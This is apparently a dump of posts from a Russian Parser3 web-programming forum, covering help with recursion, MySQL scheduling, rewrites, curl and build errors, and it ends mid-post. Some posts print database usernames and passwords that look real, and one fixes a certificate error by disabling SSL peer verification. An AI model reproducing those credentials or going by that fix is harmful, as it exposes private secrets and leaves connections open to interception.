"80024","нет .строку я изменил собственно вот она\
$SQL.connect-string[mysql://interopt_mysql:bzqtcloj@interopt.mysql/interoptik?charset=utf8]\
я предполагаю что здесь указаны данны базы"
"80025","interopt.mysql -- не выглядит как валидный host\
больше похоже на socket.\
но вы это указали как host."
"80026","если я вам дам скрипт.сможете помочь разобраться"
"80028","ясно.извините тогда"
"80029","а данные базы могут быть записаны в файл mysqldump.sh он в деректории cgi-bin \
#!/bin/sh\
\
HOST=localhost\
USER=text\
PASS=text\
DB=text\
DUMPFILE=/home/test1/www/data/${DB}_$(date +%Y-%m-%d-%H%M%S)\
\
#mysqldump  --skip-set-charset --add-drop-table --user=$USER --password=$PASS --host=$HOST $DB | gzip > $DUMPFILE.gz\
mysqldump --add-drop-table --user=$USER --password=$PASS --host=$HOST $DB > $DUMPFILE.sql"
"80030","по крайней мере у них так сервера называются.\
в таком случае название базы по умолчанию должно быть [b]interopt_db[/b]"
"80031","Привет! Как правильно на Парсере делать рекурсивную функцию, чтобы не вызвать создание черной дыры?\
[code]@rec[i]\
^i.inc[]\
^rec[$i][/code]\
Как-то так или есть какой-то особый способ?"
"80032","должно быть какое-то условие выхода из цикла\
\
[code]\
@rec[i]\
^i.inc[]\
^if($i < 100500){\
    ^rec[$i]\
}\
[/code]"
"80034","Как факториал найти? Сделал для примера такой код:\
[code]@content[]\
^f(5)<br> [b]- тут возвращает 4[/b]\
^eval(1*2*3*4*5) [b]- а тут 120 (правильно)[/b]\
\
########################################\
@f[n]\
^if($n <= 1){\
	$result(1)\
}{\
	$result(^eval($n * ^f(^n.dec[])))\
}[/code]\
Парсер неправильно считает или я где-то намудрил?"
"80036","[code]@f[aNum]\
  $result(1)\
  ^while($aNum > 1){\
    $result($result * $aNum)\
    ^aNum.dec[]\
  }[/code]"
"80037","А блин, похоже я был *GENIUS*, когда забыл про это. :)\
[code]^if($n <= 1){\
	$result(1)\
}{\
	^n.dec[]\
	$result(^eval($n * ^f($n)))\
}[/code]\
А теперь \"call canceled - endless recursion detected\"."
"80041","всё UTF-8\
из под винды все работает во всех браузерах\
\
из под мака во всех браузерах проблема с буквами [b]йЙїЇєЄ[/b] (как ни странно даже с ґҐ і ёЁ  - проблем нет)\
\
вместо вышеперечисленный букв при транслитерации получаю i с тильдочкой вместо точки\
\
все остальные буквы транслитирируются согласно таблицы\
\
варианты таинтов-антаинтов и вписыванием %D0%B8%CC%86 в таблицу в любых комбинациях не помогли\
\
Запрос\
[code]http://zzz.org/admin/fileuploader/fileuploader.paj?proc=library&uploadsDir=%2Ftest&qqfile=[b]z%D0%B8%CC%86z.rtf[/b][/code]\
\
Firebug\
Параметры\
proc library\
qqfile zйz.rtf\
uploadsDir /test\
\
\
Заголовки > Заголовки запроса\
X-File-Name  z%D0%B8%CC%86z.rtf\
\
\
\
$fn[$form:qqfile]\
^form:qqfile.save[/ccc.txt]\
^fn.save[/ccc1.txt]\
\
# в файлы честно записалось [b]zйz[/b]\
……..\
$tname[^to_translit[$fn]]\
^tname.save[/ccc2.txt]\
\
# в файле записалось [b]x&#301;x[/b]\
\
\
@to_translit[buffer]\
$repl[^table::create[nameless]{\
&#301;	i\
й	j\
і	i\
є	e\
ґ	g\
a	a\
……..\
Я	Ya\
}]\
\
$buffer[$buffer]\
$buffer[^buffer.replace[$repl]]\
$result[^taint[$buffer]]"
"80042","вот нашел данные базы\
#!/bin/sh\
\
HOST=localhost\
USER=interopt\
PASS=interoptx16xel\
DB=interopt\
\
DUMPFILE=/home/www/interopt/interopt/data/${DB}_$(date +%Y-%m-%d-%H%M%S)\
но почему здесь так \
$SQL.connect-string[mysql://interoptru_mysql:bzqtcloj@interoptru.mysql/interopt?charset=utf8]"
"80043","вот код:\
[code]\
<form>\
<input type=\"text\" name=\"text\" value=\"$form:text\" />\
<input type=\"submit\" />\
</form>\
[/code]\
\
если вы сохраняете его в файл на локальном сервере, открываете форму, вписываете туда буквы алфавита, нажимаете кнопку, что вы видите в текстовом поле после перезагрузки страницы?"
"80044","Во [url=\"http://www.parser.ru/docs/lang/lesson2.htm\"]втором уроке[/url], почти в конце, есть строчка:\
\
^math:random(100) - возвращает псевдослучайное число из диапазона от 0 до 100.\
\
Должно быть до [b]99[/b]."
"80046","Здравствуйте, подскажите пожалуйста как внедрить на сайт php код и js и парсер...\
прободал различные формы:\
http://jetbit.ru/market/jbcallme\
http://dedushka.org/kod/5213.html\
безуспешно...\
Все основные настройки форм заказа звонка находятся в php файле у меня сложилось мнение что парсер не читает пхп файлы...\
По идеи я должен в файле auto.p написать следующее <a class=\"name\">заказать звонок</a> добавить js код, сss и должно работать, а не работает... \
\
P.s. может есть готовый скрип для парсера заказа звонка?"
"80047","Сейчас спросил у разработчика http://nazartokar.com/demo/callme/ он ответил из за того, что на парсере запрещен php\
\
Как мне его не запрещать?\
\
Спасибо :)"
"80048","На парсере форма заказа обратного звонка с нуля в 25 строчек пишется. Зачем изобретать велосипед с php?"
"80049","Работы там действительно немного, а вы разберетесь с ^mail:send, ^string.replace и ^string.match\
Будет скилл +1"
"80051","Здравствуйте, хочу сделать вывод случайной картинки, у меня это получилось но выводит почему все картинки в случайном порядке, а необходимо выводить только одну. Подскажите пожалуйста, где ошибка? Почему выводит все картинки рандомом.\
\
Вот код файла sidebar_img.cfg\
[code]uri\
/img/01.jpg\
/img/02.jpg\
/img/03.jpg[/code]\
\
вот вод файла auto.p\
[code]@sidebar_img_ran[]  \
$filename[/cfg/sidebar_img.cfg]\
$table[^table::load[$filename]]                    \
^table.sort{^math:random($table)}\
<div>^table.menu{<img src=\"$table.uri\" />}[]</div>[/code]\
\
Вывод случайной картинтинки\
^sidebar_img_ran[]  \
\
\
Я что-то не то нахимичил?"
"80052","<div>^table.menu{<img src=\"$table.uri\" />}[]</div>\
\
заменить на\
\
<div><img src=\"$table.uri\" /></div>"
"80053","надо установить текущий указатель таблицы на случайную строку, например так:\
[code]\
^table.offset[set](^math:random($table))\
[/code]"
"80054","Добрый день!\
\
Есть API, которому для авторизации нужно отправить заголовок:\
\
x-pbx-authentication: ключ\
\
Вызывая код\
\
^curl:load[\
      $.httpheader[\
          $.x-pbx-authentication[$key]\
      ]\
]\
\
в заголовке получается:\
\
X-Pbx-Authentication: key\
\
Так же ведет себя ^file::load[]\
\
Но API такой заголовок не примет. Ему нужно название в нижнем регистре, а не в CamelCase. Подскажите, как быть и что делать?"
"80055","что они нарушают [url=\"http://www.w3.org/Protocols/rfc2616/rfc2616-sec4.html#sec4.2\"]стандарты[/url].\
\
[quote]Each header field consists of a name followed by a colon (\":\") and the field value. Field names are case-insensitive.[/quote]"
"80056","Уважаемы гуру и монтсры парсера! Подкиньте пожалуйста идею как правильно реализовать задачу. И так, надо сделать что бы при наступлении некоторого события появлялось уведомление. Например поздравление людей с праздниками, днями рождения, напоминание что им необходимо купить расходники. Если с ежегодными событиями нет никаких сложностей, то например, что делать с событиями которые должны происходить каждые 2 месяца или например 8 месяцев или каждые 50 дней абсолютно не понятно. У меня есть дата первого события и периодичность. Как реализовать задачу средствами парсера в принципе понятно, но тут возникает проблема постоянных обращений к базе... Пытаюсь сейчас все это сделать при помощи MySQL но видимо моих знаний не хватает. Если кто-то решал подобную задачу ткните куда копать. Заранее спасибо за ответ."
"80057","а она вам нужна, такая точность, чтобы отталкиваться от даты подписки конкретного пользователя?\
\
поместите в cron несколько скриптов: every1day, every2days, every2months и т.д."
"80058","Это все происходит в самописной учетной системе, так что сторонние сервисы в том числе и крон отпадают. Соответсвенно контакт туда попадает единожды и для него прописываются различные события и менеджеров надо уведомлять о наступлении событий. Еще раз повторюсь что решить задачу средствами парсера не проблема но до тех пор пока в базе мало клиентов и у них мало событий, а если клиентов хотя бы 1000 и у каждого хотя бы по пять событий то надо выбрать все и потом выбрать средствами парсера только нужные. По моему несколько не правильно..."
"80059","В БД ведите конечные даты срабатывания, например установили срабатывать каждые 50 дней, ок находим +50 дней и ждем, за 1 день до +50 дней делаем оповещение, смотрим надо ли повторить еще раз, дублируем оповещение на еще +50."
"80060","Не проблема вызвать скрипт! Проблема получить список событий которые произойдут сегодня!!! Может что-то объяснил неверно... Есть 5000 задач у которых есть дата начала и периодичность исполнения, надо получить список задач происходящих сегодня... Все задачи храняться в базе Mysql..."
"80061","Как пример событие которое происходит каждые пять месяцев...\
Произошло в первый раз 01.01.2014, второй 01.06.2014, третий 01.11.2014, четвертый 01.04.2015, 01.09.2015, 01.02.2015 и.т.д.\
Если сегодня 01.02.2015 и в базе храниться дата 01.01.2014 и интервал 5 месяцев как вычислить что это собятие должно произойти сегодня? Причем на уровне сервера MySQL, так как средствами парсера получается слишком ресурсоемкий код, особенно если надо считать событие которое происходит каждые три дня например..."
"80062","SELECT * FROM cron WHERE date = '27.07.14' AND status > 0;\
Грубо ), но как-то так.\
Где статус некий флажок, что уже показано или выполнено.\
И да стоит отделить сущность самой задачи, от того когда у неё наступает момент когда она должна сработать, это упростит их повторение."
"80064","В кроне или в приложении запускаем обработку события. Выполнили — ставим новое событие на следующую дату по бизнес-правилам. Считаем дату следующего события один раз. Если что-то поменялось, то удаляем «лишние» и считаем заново. Или двигаем старое событие, если не смогли его выполнить вовремя."
"80065","Рассматривал как вариант, есть определенные минусы... Хотя в итоге если не придумаю ничего другого придется использовать этот вариант. Все таки хотелось бы задавать периодичность, это позволяет исключить человеческтй фактор. Ну не нажал человек кнопку выполнено и нет задачи на будущее..."
"80066","Если задача не выполнена, то она останется в очереди. Вы можете из скрипта сделать с этой задачей все, что захотите: передвинуть, отменить, исполнить. Таким образом вы получите автоматическое существование задач."
"80068","А что за принцип периодичности-то?\
\
Предложенный вариант с очередью с возобновляемыми событиями в ней -- хороший, т.к. искать требующие обслуживания события в БД очень легко (dt < NOW()), а значит записей в очереди может быть очень много.\
При этом система получается надёжной. Если по какой-то причине код обработки событий не выполнился (лежала БД, сервер), то после возвращения системы в рабочее состояние события в очереди будут обработаны автоматически без какого-либо ручного вмешательства (в случае калькуляции дат -- такое невозможно).\
\
Вариант с расчётами, когда вы в БД храните только дату начала подписки, а потом всё вычисляете -- плохой. Почему? Потому, что вычислить-то это можно, однако для этого нужно всё считать для каждой записи в БД. При этом ни о каком использовании индексов речи быть не может. Это плохо, т.к. при наличии большого количества записей в БД (подписок) такие запросы будут выполняться долго."
"80069","Собственно я и столкнулся с теми проблемами (будущими) с датой начала и периодом про которые вы говорите. И если в принципе решать задачу то, на мой взгляд варианта два: либо выбирать из таблицы средствами парсера что реализуемо но при нескольких тысячах записей ресурсоемко, либо вариант второй делить задачу на части и по разному реализовывать запросы для разных периодов что то же не правильно по моему... Другого пока не придумал..."
"80070","Ребят, пожалуйста помогите с установкой парсера. Я просто не могу его установить. Я в Filelize засунул все файлы как на примерах. Когда в файле .htaccess пишу путь к parser3.exe у меня выводит ошибку. Обратитесь к веб мастеру и все такое. Стоит убрать эту строчку из .htaccess и все появляется, только понимаете, что парсер не работает. Помогите пожалуйста с этой проблемой, я уже все прогуглил, ничего внятного не нахожу("
"80071","- какая у вас OS, хостинг\
- какой взяли парсер\
- куда и как закачали\
- какие ему поставили \"права\"\
- что было при прямом обращении к нему из браузера"
"80072","Windows, hostinger.\
парсер последний\
закачал следующим образом:\
~/name.domen/cgi-bin/parser3.cgi\
~/name.domen/cgi-bin/auto.p\
~/name.domen/cgi-bin/lib/(файлы папки)\
~/name.domen/cgi-bin/charsets/(файлы папки)\
~/name.domen/www/.htaccess\
права 777 поставил\
ошибка Internal Server Error\
\
The server encountered an internal error or misconfiguration and was unable to complete your request.\
\
Please contact the server administrator, webmaster@prleto.tk and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the server error log.. Возможна проблема в хостинге? мне говорили, что он плохой"
"80073","[quote]\
Windows\
...\
parser3.cgi\
[/quote]\
\
ничего не находите странным?\
\
а если почитать тут (слева):\
http://www.parser.ru/download/win32/\
?\
\
P.S. и вы уверены, что у них windows и что у них поддерживаются собственные cgi скрипты?"
"80074","Ах да, там опечатка, у меня там exeшник ."
"80075","мой P.S. в предыдущем сообщении прочитали?\
\
пробовали обращаться к http://сайт/cgi-bin/parser3.exe ?"
"80077","Вы используете реляционную БД, но в упор не хотите использовать её по прямому назначению. Сделайте отдельно две таблицы, первая сами задачи, вторая их переодичность, а при заполнение второй таблицы можете идти по принципу за раз наставить все возможные даты или уже создавать новое событие при отработки старого, а как вы будете его создавать, только после выполнения или сразу это уже логика вашего приложения."
"80078","Та же самая ошибка( я все больше склоняюсь к тому, что дело в хостинге. Может правда в нем?"
"80079","Найдите логи и посмотрите какая там ошибка"
"80080","Простите, где я могу их найти? Я просто не совсем понял про что вы ("
"80081","Есть лог ошибок, в который он пишет подробности об ошибке, надо найти его и посмотреть что там, спросите у хостера где он и как в него можно посмотреть."
"80082","О боже, у моего хостинга нет этого :/ по крайней мере я не нашел, а хостер молчит :/"
"80083","Судя по описанию http://www.hostinger.com.ua/hosting там линукс и скорее всего 64битный"
"80084","Да я собственно вообще хотел уйти от необходимости что-то делать с событиями кроме начальной установки... Один раз создал событие, выставил периодичность и забыл... Но видимо не судьба, будем делать традиционным способом. Кстати таблиц у меня три..."
"80086","также надо знать как часто вы запускаете процесс и что вы используете для того, чтобы решить, что событие уже прошло и выполнено.\
\
например если вы запускаете процесс раз в сутки и процесс обрабатывает события, происходящие раз в 14 дней, то можно использовать что-то типа:\
[code]\
WHERE\
(TO_DAYS(TODAY() - TO_DAYS(date_start)) % 14) = 0\
...\
[/code]\
НО. запрос тяжёлый, он делает вычисления для каждой записи."
"80087","А если урл выглядит так www.сайт.домен/link1/link2/link3/link4/, мы находимся на link4\
\
Как я понимаю,\
[code] ^if($sections.uri ne $request:uri && ^request:uri.pos[$sections.uri] == 0){\
	…\
}\
[/code]\
этот код покажет что активные link1 и link2 и link3... А как сделать, чтобы были активные скажем были только только link2 и link3?\
\
Пробовал \
[code] ^if($sections.uri ne $request:uri && ^request:uri.pos[$sections.uri] == -1){\
	…\
}\
[/code]\
не работает...\
\
\
Спасибо.\
\
\
Можно ли сделать чтобы"
"80088","Сейчас, судя по всему, вы исправляете наугад."
"80089","По мимо  \
[code]^if($sections.uri ne $request:uri && ^request:uri.pos[$sections.uri] == -1){\
	…\
}[/code]\
[code]^if($sections.uri ne $request:uri && ^request:uri.pos[$sections.uri] == 1){\
	…\
}[/code]\
[code]^if($sections.uri ne $request:uri && ^request:uri.pos[$sections.uri] == 0){\
	…\
}[/code]"
"80090","Подумайте и сформулируйте себе русским языком алгоритм, по которому должна работать навигация.\
\
Вы берёте тривиальнейший пример и пытаетесь перебором привести его к сложной схеме работы."
"80091","А мы же можем с помощью \
[code]^if(!def $sections.uri){ [/code]исключить не нужное? :)"
"80092","Не подойдет)"
"80093","[code]^if($sections.uri eq \"/ссылка1/ссылка3/\"){[/code]"
"80094","пробовал так, но проблема в том данная конструкция не всегда равна 0. Пробовал по разному и таймстамп использовать и просто дату, в итоге иногда получатеся какая-то дробь близкая к целому и не обрабатывается событие... но скорее всего у меня опыта нехватает и я что-то не так делал..."
"80095","только я там со скобками ошибся, надо так:\
[code]\
((TO_DAYS(CURDATE()) - TO_DAYS(date_start)) % 14) = 0\
[/code]"
"80097","Это достижение разрешенного лимита на отправку?\
Как его изменить?"
"80099","День добрый!\
Коллеги, кто-нибудь собирал  win32 версии 3.4.4b, а то имел неосторожность update устроить на боевых freebsd серверах, а формат файлов hashfile разнится с 3.4.3 win32, и есть промах на 8 байт от начала. Ну так архитектурно устроено - готовим на винде hashfile, потом рассылаем по freebsd.:-)\
\
Костыль написан конечно, и есть ещё вариант собирать на freebsd, но может кто, а?"
"80100","Странно, в 3.4.4b никаких изменений в hashfile вроде как не было.\
То есть причина 8 байт в чем-то другом. А сборка под win32 пока не имеет особого смысла - с релиза пока мало что поменялось."
"80102","Допустим, есть такой код:\
\
[code]@number[]\
^math:random(1000)[/code]\
\
Если вывести ^number[] несколько раз на странице, числа будут разные.\
Разве оно (число) не должно генерироваться в @number[] один раз?"
"80104","попробуйте ввести понятие \"родитель\""
"80106","Выяснил, что попутно в процессе апгрейда версия на freebsd скакнула с 32 до 64 бит, это видимо и \"подкосило\".\
\
Не совпадают форматы 32/64 бита для hashfile, промах на 8 байт. \
Сейчас отполировал до блеска костыль, приведу к 64/64 бита повсюду...\
\
Спасибо за помощь!"
"80107","Скорее всего у вас есть три параметра - датавремя первого события, различная пеиодичность, датавремя последнего события (либо некая виртуальная дата в недостижимом будущем для бесконечных цепочек).\
\
В момент создания первого события - генерируете полностью всё расписание и заносите его в базу.\
\
по крону выбираете все сегодняшние события - выполняете - ставите статус выполнено, переходите к следующему \"на сегодня\"\
\
если возможно редактирование - в момент изменения параметров - стираете все расписание в будущем и генерируете новое по новым правилам периодичности"
"80108","насколько я понимаю, вы храните настройки в hashfile-ах.\
считаю, что этот подход неправильный.\
лучше храните их в текстовых файлах (csv, xml) + напишите классы, которые будут с ними работать.\
\
один класс для чтения. внутрь этого класса, если очень хочется, вы можете внедрить кэширование в hashfile-ах. т.е. класс будет сравнивать timestamp текстоого файла и hashfile-а, если у первого timestamp более новый -- будет запускать пересоздание hashfile-а.\
\
второй класс будет использоваться для редактирования настроек (например в административном интерфейсе).\
\
во первых вы перестанете зависить от конкретного формата hashfile (да, у вас проблема возникла из-за битности парсера, а не его версии). во вторых вы всегда сможете открыть ваши конфиги и посмотреть/исправить их содержание.\
\
у меня что-то подобное использыется. правда я не занимаюсь кэшированием в hashfile-ах. настроек обычно немного. загрузить их все при инициализации сессии в память -- не ресурсоёмко. т.е. со второго обращения в рамках сессии всё работает очень быстро. а затраты на парсинг текстовых файлов между сессиями не такие уж и большие (table::load + menu + запись в hash). думаю, что это работает даже быстрее, чем ваша текущая реализация с hashfile (смысл hashfile-а проявляется, когда данных много)."
"80109","Задан .htaccess\
\
[code]RewriteEngine On\
RewriteRule ^test/en/([^/]*)/$ /test/en/?bukva=$1 [L][/code]\
\
Если пройти по ссылке [color=\"#008ACE\"]/test/en/a/[/color], все работает. Но если убрать в конце слеш, выдает 404 ошибку. Как добиться работоспособности, переходя по ссылке [color=\"#008ACE\"]/test/en/a[/color]?"
"80110","Добавить например такой рирайт:\
\
# fix trailing slash\
RewriteCond %{REQUEST_URI} !\\.\
RewriteRule ^(.+[^/])$ http://%{SERVER_NAME}/$1/ [L,R,QSA]"
"80111","Большое спасибо! Помогло)"
"80112","Здравствуйте.\
\
Делаю так:\
[code]\
$file[^curl:load[\
  $.url[https://oauth.vk.com/authorize?client_id=XXXXXX&scope=friends,notes&redirect_uri=http://site.ru&response_type=code&v=5.24]\
  $.timeout(10)\
]]\
[/code]\
\
Отвечает так:\
'load' Peer certificate cannot be authenticated with given CA certificates\
\
Чё ему надо?"
"80113","Отбой. Разобрался.\
$.ssl_verifypeer(0)"
"80114","А можете поделиться libcurl.so? На официальном сайте никак не могу найти."
"80115","У меня libcurl.dll под Win32. Вот тут очень легко найти нужную версию: http://curl.haxx.se/dlwiz/?type=lib"
"80116","Так там нет .so, только .prm"
"80117","Да и вообще не представляю сете системы, в который по умолчанию не установлен curl"
"80119","Что значит? Попробовал версии разной битности. \
\
'version' failed to load curl library libcurl.so: /usr/lib/libcurl.so: wrong ELF class: ELFCLASS64 [curl]"
"80121","Спасибо, все получилось. \
А какой параметр отвечает за вывод количества случайных изображений.\
\
Т.е. выводить из таблицы 5 случайных строк.\
\
Спасибо."
"80122","вам надо написать код, который будет это делать (в этом сущность написания программ).\
\
можно отсортировать всё в случайном порядке, а потом вывести N первых строк.\
\
можно в цикле брать случайное число до размера таблицы и класть его в хэш. делат это до тех пор, пока в хэше не окажется N значений. потом вывести строки таблицы, offset-s которых лежат в хэше.\
\
у второго варианта чуть длинее код, но он более эффективный и я бы использовал его."
"80123","Вызываю $mytable.[$tablecol] - если tablecol = \"join\" - выдает ошибку is 'junction', it does not have... Понято, что \"join\" это метод таблицы. Так что, нельзя вызвать колонку \"join\" ? Мне нужно чтоб $tablecol мог быть любой."
"80124","[code]^if($mytable.[$tablecol] is junction){\
	$mytable.fields.[$tablecol]\
}{\
	$mytable.[$tablecol]\
}[/code]"
"80125","Переношу работающий сайт на новую площадку (тот же мастерхост)\
\
Выдает ошибку:\
[Thu Aug 14 23:14:01 2014] [23164] /: /home/u419539/site.ru/www/auto.p(7:2): '/home/u419539/site.ru/cgi-bin/lib/libparser3mysql.so' [b]driver failed to initialize client library 'libmysqlclient.so'[/b], libmysqlclient.so: cannot open shared object file: No such file or directory [<no type>] [uri=/, method=GET, cl=0]\
\
Скопировал cgi-bin с другого работающего на linux 64x, не встает.\
\
Причем uname -a выдает:\
на НЕработающем\
Linux gen141.hs.shared.masterhost.ru 3.2.59-grsec #1 SMP Tue Jun 10 13:37:07 UTC 2014 x86_64 GNU/Linux\
\
на Работающем\
Linux pro13.hs.shared.masterhost.ru 3.2.59-grsec #1 SMP Tue Jun 10 13:37:07 UTC 2014 x86_64 GNU/Linux\
\
Вроде как идентичны.\
\
Пробовал все версии для линукс 64х - тоже самое.\
\
Что делать?"
"80126","скорее всего разные версии mysql lib\
mysql	$sqldriversdir/libparser3mysql.so	libmysqlclient.so.[b]18[/b]\
Попробуйте без цифр.\
Или так ldconfig -p | grep mysql"
"80127","[quote]Скопировал cgi-bin с другого работающего на linux 64x, не встает.\
[/quote]\
\
Мне кажется логичнее попробовать скопировать libmysqlclient.so c другого работающего сервера. И что значит \"не встает\"? OS такая же, должно \"вставать\". Какая возникает ошибка, что происходит при запуске из shell, что выдает ldd parser3.cgi, etc?"
"80128","Например, есть код:\
[code]^switch[$color]{ \
   ^case[0]{Необходимо остановиться и подумать о вечном…} \
   ^case[1]{Настало время собраться и приготовиться!} \
   ^case[2]{Покажи им, кто король дороги!} \
   ^case[DEFAULT]{Вы дальтоник, или это вовсе не светофор.} \
}[/code]\
\
Как реализовать такой case?\
[code]^case[>1000]{Йоу! Йоу! Йоу!}[/code]"
"80130","Спасибо. Но разработчикам стоит обратить внимание на предложенный мной вариант. Ведь это более логично и проще :-)"
"80131","max_rip, \
\
[quote]скорее всего разные версии mysql lib\
mysql	$sqldriversdir/libparser3mysql.so	libmysqlclient.so[b].18[/b][/quote]\
Вставка libmysqlclient.so[b].18[/b] помогло! Спасибо!"
"80132","т.к. > 1000 в квадратных скобках -- сравнение со строкой. если допустить, что такое реализовано, то будет невозможно использовать подобный синтаксис для сравнения строк. причем везде.\
\
конструкции в круглых скобках парсер трактует как выражение и вычисляет его. везде (например в if)."
"80133","^case[$form:id > ^coooount[]]\
\
Нифига!"
"80134","Следите за скобками. В Парсере это важно."
"80137","Есть код, который должен из данных таблицы делать столбики по 15 строчек:\
[code]<td>\
	^terms.menu{<p><nobr><a href=\"/terms/$terms.id\">$terms.name</a></nobr></p>}{^if(^terms.offset[] == 15){</td><td>}}\
</td>[/code]\
\
В первом столбце, как и положено, 15 строчек, но во второй уже 16. Что не так с кодом?\
\
А вот живой пример: http://zeleboberdictionary.com/gloss/en/b/"
"80138","в процессе перебора элементов таблицы с помощью menu выражение ^table.offset[] == 15 бывает истинно только один раз.\
вам, наверное, нужно использовать выражение ^table.offset[] \\ 15 == 0, которое будет истинно каждый раз, когда offset кратен 15."
"80139","Какая-то каша получается...\
http://zeleboberdictionary.com/test/en/?bukva=b"
"80141","Уже похоже (можно посмотреть по ссылке выше), но 15 строк начиная со второго столбика, в первой 14."
"80142","попробуйте запустить этот код в чистом виде:\
\
[code]$terms[^table::create{id}]\
\
^for[i](1;105){^terms.append{$i}}\
\
<table border=\"1\">\
	<tr>\
		<td>\
			^terms.menu{\
				<p>$terms.id</p>\
				^if(^terms.line[]%15==0 && ^terms.line[]!=^terms.count[]){</td><td>}\
			}\
		</td>\
	</tr>\
</table>\
[/code]\
\
ровно по 15 записей в каждой ячейке.\
\
P.S.: http://zeleboberdictionary.com/gloss/en/a/ - тут 15 записей в первой ячейке )"
"80143","Спасибо) Все заработало правильно)"
"80144","Никто не сталкивался? Требуется разобрать сериализованный при помощи php serialize массив."
"80145","Сомневаюсь, что это возможно. Для передачи данных между разным ПО логичнее использовать более стандартные форматы - JSON, XML."
"80146","Подскажите что должно получиться на выходе при сборке, выполнил:\
cd ~ \
mkdir parser3project \
cd parser3project \
wget http://www.parser.ru/f/1/download/src/parser-3.4.3.tar.gz \
tar -xzf parser-3.4.3.tar.gz \
mv parser-3.4.3 parser3 \
cd parser3 \
./buildall --with-mailreceive --with-apache --strip\
\
Появилась папка src с архивами \
gc-7.2d.tar.gz \
glib-2.28.8.tar.xz \
gmime-2.4.32.tar.xz \
libxml2-2.9.1.tar.gz \
libxslt-1.1.28.tar.gz \
pcre-8.33.tar.gz\
Я ожидал что на выходе у меня получиться что-то типа cgi, подскажите какие дальнейшие шаги, что делать с этими файлами?\
Сервер VDS Debian Wheezy LAMP"
"80147","И хотел так же актуализировать, работа с этими протоколами возможна? Кто-то реализовывал возможность подключения скажем к gmail и получения писем?"
"80148","Смотреть в ~/parser3install (если сборка прошла успешно)."
"80149","Нет, в парсере есть только поддержка SMTP, используется в Windows версии.\
\
Разбор писем во внутренний объект парсера уже реализована в src/types/pa_vmail.C, что несколько упрощает задачу, но в целом работать с POP-3/IMAP из cgi скрипта - то еще извращение."
"80150","[code]\
Выполняю команду /var/www/web/parser3project/parser3# ./buildall --with-mailreceive --with-apache --strip\
Получаю: \
Building statically linked parser3, with mail receiving, with apache module, without debug information\
Unpacking gc-7.2...\
Configuring gc-7.2...\
configure: error: in `/var/www/web/parser3project/src/gc-7.2':\
configure: error: no acceptable C compiler found in $PATH\
See `config.log' for more details\
Building gc-7.2...\
./buildall: 126: ./buildall: make: not found\
Unpacking pcre-8.33...\
Configuring pcre-8.33...\
configure: error: in `/var/www/web/parser3project/src/pcre-8.33':\
configure: error: no acceptable C compiler found in $PATH\
See `config.log' for more details\
Building pcre-8.33...\
./buildall: 144: ./buildall: make: not found\
Unpacking libxml2-2.9.1...\
Configuring libxml2-2.9.1...\
configure: error: in `/var/www/web/parser3project/src/libxml2-2.9.1':\
configure: error: no acceptable C compiler found in $PATH\
See `config.log' for more details\
Building libxml2-2.9.1...\
./buildall: 176: ./buildall: make: not found\
Unpacking libxslt-1.1.28...\
Configuring libxslt-1.1.28...\
configure: error: in `/var/www/web/parser3project/src/libxslt-1.1.28':\
configure: error: no acceptable C compiler found in $PATH\
See `config.log' for more details\
Building libxslt-1.1.28...\
./buildall: 194: ./buildall: make: not found\
Unpacking glib-2.28.8...\
Configuring glib-2.28.8...\
configure: error: in `/var/www/web/parser3project/src/glib-2.28.8':\
configure: error: no acceptable C compiler found in $PATH\
See `config.log' for more details\
Building glib-2.28.8...\
./buildall: 226: ./buildall: make: not found\
Unpacking gmime-2.4.32...\
Configuring gmime-2.4.32...\
configure: error: in `/var/www/web/parser3project/src/gmime-2.4.32':\
configure: error: no acceptable C compiler found in $PATH\
See `config.log' for more details\
Building gmime-2.4.32...\
./buildall: 241: ./buildall: make: not found\
Configuring parser3...\
configure: WARNING: to regenerate Parser grammar YOU WOULD NEED BISON\
configure: error: in `/var/www/web/parser3project/parser3':\
configure: error: C++ compiler cannot create executables\
See `config.log' for more details\
Building parser3...\
./buildall: 254: ./buildall: make: not found\
[/code]"
"80151","[quote]configure: error: no acceptable C compiler found in $PATH\
configure: error: C++ compiler cannot create executables\
make: not found\
[/quote]\
\
Гугл вам поможет, что делать в случае подобных ошибок."
"80152","Это можно сделать с помощью JS"
"80153","Всем привет! Заломал голову над вычислением некоторых праздников, чтобы на календаре дата праздника отмечалась цветом. Особую трудность вызвал праздник \"День автомобилиста\", дата которого приходится на последнее воскресенье октября.\
Как вычислить эту дату?\
Вот пример моего неработающего кода:\
[code]^days$calendar_months.menu{\
   <tr>\
   ^for[week_day](0;6){\
      ^if($days$calendar_months.$week_day){\
         <td>\
         <span style=\"color: $calendar_locale.day_colors.$week_day\">\
         ^if($days$calendar_months.$week_day == 31 && $week_day == 6 && $calendar_months == 10){\
            <a href=\"/calendar/holiday/?id=1\" title=\"День водителя\" class=\"holiday\">$days$calendar_months.$week_day</a>\
         }{\
            $iOctLD(31)\
            $dDriverDay[^date::create($date_now.year;10;^iOctLD.dec($date_now.weekday))]\
            ^if($calendar_months == 10 && $dDriverDay.weekday == 6){\
               <a href=\"/calendar/holiday/?id=1\" title=\"День водителя\" class=\"holiday\">$days$calendar_months.$week_day</a>\
            }\
         }\
         </span>\
         </td>\
      }{\
         <td></td>\
      }\
   }\
   </tr>\
}[/code]\
В итоге день так и не выделяется."
"80154","задачу надо разделить на два этапа:\
1. определение дня\
2. вывод календаря с отмечанием найденной даты\
\
чтобы определить дату, нужно:\
1. получить табличку с календарём за интересующий месяц: http://www.parser.ru/docs/lang/datecalendarmonth.htm\
2. сместить текущий указатель в этой табличке на последнюю: ^t.offset[set](-1)\
3. в бесконечном цикле проверять, определено-ли значение даты в интересующий день недели. если определено -- запоминаем её и прекращаем цикл (^break[]). если не определено -- сдвигаем указатель к началу: ^t.offset[cur](-1)"
"80155","А если у меня результат метода выводится через $result[], то ^break[] в цикле не нужен?\
[code]^for[d](1;^dMonth.last-day[]){\
   ^tCal.menu{\
      ^if($d == $tCal.$wd){\
         [b]$result[^d.int(0)][/b]\
         [i]^break[][/i]\
      }{\
         ^tCal.offset[cur](-1)\
      }\
   }\
}[/code]"
"80157","Зачем понадобился итератор for по всем дням месяца? Достаточно пройти по календарю обычным while'ом:\
\
[code]\
@drivers_day[][locals]\
  $result[]\
  $lCal[^date:calendar[rus](2014;10)]\
  ^lCal.offset[set](-1)\
  ^while(true){\
    ^if(def $lCal.6){\
      $result[$lCal.6]\
      ^break[]\
    }\
    ^lCal.offset[cur](-1)\
  }\
[/code]"
"80158","[code]@drivers_day[aYear][locals]\
